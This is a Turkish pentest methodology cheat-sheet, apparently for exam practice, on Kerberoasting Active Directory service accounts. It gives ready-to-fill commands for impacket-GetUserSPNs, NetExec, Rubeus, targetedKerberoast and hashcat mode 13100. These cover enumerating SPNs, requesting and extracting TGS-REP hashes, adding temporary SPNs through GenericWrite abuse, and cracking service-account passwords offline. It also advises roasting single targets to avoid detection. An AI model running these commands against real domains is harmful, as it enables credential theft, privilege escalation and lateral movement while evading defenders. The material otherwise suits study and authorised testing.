FOOTHOLD Metodoloji Cheat-sheet
Exploit ✓ EXAM-SAFE orta :88:389

Kerberoasting

SPN'e (Service Principal Name) sahip servis hesapları için TGS-REP biletleri istenip, servis hesabının NT hash'iyle şifrelenen kısmı offline kırılır. impacket-GetUserSPNs -request, netexec --kerberoasting, Rubeus kerberoast ile toplanır; GenericWrite ile targeted kerberoast; hashcat -m 13100.

Bilgi: ÖN KOŞULLAR
  • EN AZ bir geçerli domain hesabı (parola, hash veya Kerberos bileti) — kimlik şart
  • DC'ye Kerberos (88/TCP) ve LDAP (389) erişimi
  • Domain ({{DOMAIN}}), DC IP ({{DC_IP}})
  • Saat senkronizasyonu (clock skew < 5 dk)
┌──

Komutlar

impacket ✓ EXAM-SAFE user
impacket-GetUserSPNs {{DOMAIN}}/{{USER}}:{{PASS}} -dc-ip {{DC_IP}} -request -outputfile kerberoast.hash
SPN'li tüm hesapları enumerate edip TGS-REP biletlerini ister ve hashcat formatında dosyaya yazar. En yaygın Kerberoast komutu. WADComs - Impacket GetUserSPNs (Kerberoasting)
impacket ✓ EXAM-SAFE user
impacket-GetUserSPNs {{DOMAIN}}/{{USER}} -hashes :{{NTHASH}} -dc-ip {{DC_IP}} -request -outputfile kerberoast.hash
Parola yerine NTLM hash ile (pass-the-hash) Kerberoast. -hashes LMHASH:NTHASH formatında, LM boş bırakılır. WADComs - Impacket GetUserSPNs -hashes
netexec ✓ EXAM-SAFE user
nxc ldap {{DC_IP}} -u {{USER}} -p {{PASS}} --kerberoasting kerberoast.hash
NetExec LDAP modülü: SPN'li hesapları bulup TGS-REP hash'lerini kerberoast.hash dosyasına çıkarır. Tek satırda enum + roast. NetExec Wiki - LDAP --kerberoasting
impacket ✓ EXAM-SAFE user
impacket-GetUserSPNs {{DOMAIN}}/{{USER}}:{{PASS}} -dc-ip {{DC_IP}}
-request OLMADAN sadece enum: hangi hesapların SPN'i olduğunu, son parola değişim tarihini listeler. Hedef seçimi için. The Hacker Recipes - Kerberoasting (enum)
rubeus ✓ EXAM-SAFE user
Rubeus.exe kerberoast /outfile:kerberoast.hash /nowrap
Windows tarafı: domain context'te tüm SPN'li hesapları roast eder. /nowrap hashcat'e uygun düz çıktı verir. AES dönen hesaplar için /rc4opsec ile RC4 zorlamayı dener. GhostPack Rubeus - kerberoast
rubeus ✓ EXAM-SAFE user
Rubeus.exe kerberoast /user:{{USER}} /nowrap
Tek bir hedef hesabı roast eder (gürültüyü azaltır). Özellikle targeted kerberoast sonrası SPN eklenen hesabı roast etmek için. GhostPack Rubeus - kerberoast /user
targetedKerberoast ✓ EXAM-SAFE user
targetedKerberoast.py -v -d {{DOMAIN}} -u {{USER}} -p {{PASS}} --dc-ip {{DC_IP}}
Targeted Kerberoasting: yazma (GenericWrite/GenericAll) yetkiniz olan hesaplara geçici SPN ekleyip roast edip SPN'i geri siler. SPN'i olmayan kullanıcıları da kırılabilir kılar. The Hacker Recipes - Targeted Kerberoasting (ShutdownRepo/targetedKerberoast)
hashcat ✓ EXAM-SAFE
hashcat -m 13100 kerberoast.hash {{WORDLIST}} -r /usr/share/hashcat/rules/best64.rule
TGS-REP (Kerberos 5 etype 23) hash'lerini offline kırar. Mod 13100, best64 kuralıyla sözlük varyasyonları. Kırılan = servis hesabı parolası. hashcat Wiki - Mode 13100 (Kerberos 5 TGS-REP etype 23)

Teori: SPN ve TGS-REP

Bir hizmetin (MSSQL, HTTP, CIFS vb.) bir domain hesabı altında çalıştığında, o hesaba bir SPN (Service Principal Name) kaydı yapılır. Kerberos’ta herhangi bir kimliği doğrulanmış kullanıcı, bir SPN için TGS (service ticket) isteyebilir. DC, dönen TGS-REP biletinin bir kısmını servis hesabının NT hash’inden türetilen anahtarla şifreler. Saldırgan bu bileti alıp offline kırarak servis hesabının parolasını elde eder. Servis hesapları genelde eski, güçlü olmayan, nadiren değişen parolalara sahip olduğundan Kerberoasting çok verimlidir.

Adım 1: Kimlik ile SPN’leri Enumerate Et

AS-REP roasting’in aksine Kerberoasting İÇİN GEÇERLİ BİR KİMLİK ŞARTTIR (TGS istemek için TGT gerekir). Önce -request olmadan enum yapın: impacket-GetUserSPNs {{DOMAIN}}/{{USER}}:{{PASS}} -dc-ip {{DC_IP}}. Çıktıda her SPN hesabının PasswordLastSet tarihine bakın — eski parolalar daha kırılabilir. BloodHound’da ‘Kerberoastable’ işaretli hesapları hedefleyin.

Adım 2: TGS Biletlerini İste ve Çıkar

  • Linux: impacket-GetUserSPNs ... -request -outputfile kerberoast.hash veya nxc ldap ... --kerberoasting.
  • Windows: Rubeus.exe kerberoast /outfile:... /nowrap. Çıktı $krb5tgs$23$*user$DOMAIN$spn*$... formatındadır.

Adım 3: Targeted Kerberoasting (SPN’i olmayan hedefler)

Bir kullanıcı üzerinde GenericWrite/GenericAll/WriteProperty (servicePrincipalName) yetkiniz varsa, o hesaba geçici bir SPN ekleyip roast edip SPN’i silebilirsiniz. targetedKerberoast.py bunu otomatik yapar. Bu, ad-acl-abuse ile birleşen güçlü bir tekniktir — BloodHound’da outbound GenericWrite kenarlarını arayın.

Adım 4: Offline Kır

hashcat -m 13100 ile sözlük + kural saldırısı. Offline’dır, DC’ye ek trafik yok, kilitleme yok. Kırılan parola çoğu zaman yüksek yetkili servis hesabıdır (örn. MSSQL servis hesabı, hatta yanlış yapılandırmada Domain Admin grubunda bir hesap) ve doğrudan lateral movement / privesc sağlar.

Gotchas

  • Clock skew: TGS istemek Kerberos’tur; DC ile 5 dk’dan fazla saat farkı KRB_AP_ERR_SKEW verir. sudo ntpdate {{DC_IP}} veya sudo rdate -n -u {{DC_IP}}.
  • AES şifreli biletler (etype 17/18): Hesap yalnızca AES destekliyorsa hash mode 19600/19700 olur ve kırma çok daha yavaştır. Rubeus /tgtdeleg veya RC4 downgrade ile mode 13100 elde etmeye çalışabilir; lablarda çoğu hesap RC4 (23) döner.
  • SPN formatı: Manuel TGS isterken SPN service/host formatında olmalı (örn. MSSQLSvc/sql01.{{DOMAIN}}:1433); yanlış format KDC_ERR_S_PRINCIPAL_UNKNOWN verir.
  • krbtgt’yi roast etmeyin: krbtgt’nin de SPN’i vardır ama kırılamaz; araçlar zaten atlar.
  • Gürültü: Tek seferde tüm SPN’leri istemek 4769 olayları üretir; tespit edilen ortamda Rubeus kerberoast /user: ile tek hedefe odaklanın.
┌──

Kaynaklar

0/15 set